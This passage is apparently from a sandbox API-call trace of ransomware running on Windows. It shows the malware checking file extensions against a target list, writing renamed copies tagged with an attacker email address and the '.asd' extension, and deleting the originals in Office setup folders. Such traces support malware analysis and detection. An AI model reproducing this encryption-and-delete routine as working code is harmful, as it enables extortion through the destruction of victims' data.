Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.169] lstrlenW (lpString=".doc") returned 4 [0051.169] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString=".docx") returned 5 [0051.170] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.170] lstrlenW (lpString=".pdf") returned 4 [0051.170] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString=".xls") returned 4 [0051.170] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString=".xlsx") returned 5 [0051.170] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.170] lstrlenW (lpString=".ppt") returned 4 [0051.170] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.170] lstrlenW (lpString=".zip") returned 4 [0051.170] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.170] lstrlenW (lpString=".rar") returned 4 [0051.170] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString=".bz2") returned 4 [0051.170] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString=".7z") returned 3 [0051.170] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.170] lstrlenW (lpString=".dbf") returned 4 [0051.170] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.170] lstrlenW (lpString=".1cd") returned 4 [0051.170] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.170] lstrlenW (lpString=".jpg") returned 4 [0051.170] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.171] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.171] lstrlenW (lpString="SETUP.XML") returned 9 [0051.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.174] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=31094) returned 1 [0051.174] CloseHandle (hObject=0x1a8) returned 1 [0051.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0051.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.174] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.175] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.177] GetLastError () returned 0x0 [0051.177] ReadFile (in: hFile=0x1a8, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x7976, lpOverlapped=0x0) returned 1 [0051.179] WriteFile (in: hFile=0x220, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x7980, lpOverlapped=0x0) returned 1 [0051.181] ReadFile (in: hFile=0x1a8, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.181] WriteFile (in: hFile=0x220, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.181] SetEndOfFile (hFile=0x220) returned 1 [0051.181] CloseHandle (hObject=0x220) returned 1 [0051.184] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.184] SetEndOfFile (hFile=0x1a8) returned 1 [0051.185] CloseHandle (hObject=0x1a8) returned 1 [0051.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.186] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0051.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.186] lstrlenW (lpString=".doc") returned 4 [0051.186] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.186] lstrlenW (lpString=".docx") returned 5 [0051.186] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.186] lstrlenW (lpString=".pdf") returned 4 [0051.186] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.186] lstrlenW (lpString=".xls") returned 4 [0051.186] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString=".xlsx") returned 5 [0051.187] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.187] lstrlenW (lpString=".ppt") returned 4 [0051.187] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.187] lstrlenW (lpString=".zip") returned 4 [0051.187] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.187] lstrlenW (lpString=".rar") returned 4 [0051.187] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString=".bz2") returned 4 [0051.187] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString=".7z") returned 3 [0051.187] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.187] lstrlenW (lpString=".dbf") returned 4 [0051.187] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.187] lstrlenW (lpString=".1cd") returned 4 [0051.187] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.187] lstrlenW (lpString=".jpg") returned 4 [0051.187] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.188] lstrlenW (lpString=".doc") returned 4 [0051.188] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString=".docx") returned 5 [0051.188] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.188] lstrlenW (lpString=".pdf") returned 4 [0051.188] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString=".xls") returned 4 [0051.188] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString=".xlsx") returned 5 [0051.188] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.188] lstrlenW (lpString=".ppt") returned 4 [0051.188] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.188] lstrlenW (lpString=".zip") returned 4 [0051.188] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.188] lstrlenW (lpString=".rar") returned 4 [0051.188] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString=".bz2") returned 4 [0051.188] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString=".7z") returned 3 [0051.188] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.188] lstrlenW (lpString=".dbf") returned 4 [0051.188] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.188] lstrlenW (lpString=".1cd") returned 4 [0051.188] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0051.189] lstrlenW (lpString=".jpg") returned 4 [0051.189] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.189] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.189] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0051.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.191] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1450) returned 1 [0051.191] CloseHandle (hObject=0x1a8) returned 1 [0051.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0051.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.192] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.192] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.194] GetLastError () returned 0x0 [0051.194] ReadFile (in: hFile=0x1a8, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5aa, lpOverlapped=0x0) returned 1 [0051.434] WriteFile (in: hFile=0x220, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0051.435] ReadFile (in: hFile=0x1a8, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.435] WriteFile (in: hFile=0x220, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0051.435] SetEndOfFile (hFile=0x220) returned 1 [0051.435] CloseHandle (hObject=0x220) returned 1 [0051.438] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.438] SetEndOfFile (hFile=0x1a8) returned 1 [0051.439] CloseHandle (hObject=0x1a8) returned 1 [0051.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.440] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.777] lstrlenW (lpString=".doc") returned 4 [0051.777] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.777] lstrlenW (lpString=".docx") returned 5 [0051.777] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0051.777] lstrlenW (lpString=".pdf") returned 4 [0051.777] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.777] lstrlenW (lpString=".xls") returned 4 [0051.777] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.777] lstrlenW (lpString=".xlsx") returned 5 [0051.777] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0051.777] lstrlenW (lpString=".ppt") returned 4 [0051.777] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.777] lstrlenW (lpString=".zip") returned 4 [0051.778] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.778] lstrlenW (lpString=".rar") returned 4 [0051.778] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString=".bz2") returned 4 [0051.778] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString=".7z") returned 3 [0051.778] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.778] lstrlenW (lpString=".dbf") returned 4 [0051.778] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.778] lstrlenW (lpString=".1cd") returned 4 [0051.778] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.778] lstrlenW (lpString=".jpg") returned 4 [0051.778] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.778] lstrlenW (lpString=".doc") returned 4 [0051.778] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString=".docx") returned 5 [0051.778] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0051.778] lstrlenW (lpString=".pdf") returned 4 [0051.778] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString=".xls") returned 4 [0051.778] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString=".xlsx") returned 5 [0051.778] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0051.778] lstrlenW (lpString=".ppt") returned 4 [0051.778] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.778] lstrlenW (lpString=".zip") returned 4 [0051.778] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.779] lstrlenW (lpString=".rar") returned 4 [0051.779] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.779] lstrlenW (lpString=".bz2") returned 4 [0051.779] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.779] lstrlenW (lpString=".7z") returned 3 [0051.779] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.779] lstrlenW (lpString=".dbf") returned 4 [0051.779] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.779] lstrlenW (lpString=".1cd") returned 4 [0051.779] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0051.779] lstrlenW (lpString=".jpg") returned 4 [0051.779] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.779] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.779] lstrlenW (lpString="SETUP.XML") returned 9 [0051.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.780] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=20577) returned 1 [0051.780] CloseHandle (hObject=0x188) returned 1 [0051.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0051.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.781] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.781] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.787] GetLastError () returned 0x0 [0051.787] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5061, lpOverlapped=0x0) returned 1 [0051.792] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x5070, lpOverlapped=0x0) returned 1 [0051.793] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.793] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.793] SetEndOfFile (hFile=0x21c) returned 1 [0051.793] CloseHandle (hObject=0x21c) returned 1 [0051.794] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.794] SetEndOfFile (hFile=0x188) returned 1 [0051.795] CloseHandle (hObject=0x188) returned 1 [0051.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.795] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0051.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.795] lstrlenW (lpString=".doc") returned 4 [0051.795] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.795] lstrlenW (lpString=".docx") returned 5 [0051.795] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.795] lstrlenW (lpString=".pdf") returned 4 [0051.795] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.795] lstrlenW (lpString=".xls") returned 4 [0051.795] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString=".xlsx") returned 5 [0051.796] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.796] lstrlenW (lpString=".ppt") returned 4 [0051.796] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.796] lstrlenW (lpString=".zip") returned 4 [0051.796] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.796] lstrlenW (lpString=".rar") returned 4 [0051.796] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString=".bz2") returned 4 [0051.796] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 